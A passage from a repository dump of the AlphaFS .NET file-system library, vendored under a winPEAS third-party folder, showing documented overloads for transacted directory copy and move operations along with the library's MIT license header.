may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// true if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } #endregion // Obsolete /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = CopyOptions.FailIfExists, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, DirectoryEnumerationFilters = filters, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed. /// A class with details of the Copy action. /// /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, DirectoryEnumerationFilters = filters, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters }); } /// [AlphaFS] Copies a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, DirectoryEnumerationFilters = filters, PathFormat = pathFormat }); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.Move.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Moves a file or a directory and its contents to a new location. /// /// This method does not work across disk volumes. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The source directory path. /// The destination directory path. [SecurityCritical] public static void Move(string sourcePath, string destinationPath) { CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = MoveOptions.None }); } #endregion // .NET /// [AlphaFS] Moves a file or a directory and its contents to a new location. /// /// This method does not work across disk volumes. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = MoveOptions.None, PathFormat = pathFormat }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified. /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified. /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions, PathFormat = pathFormat }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.MoveTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 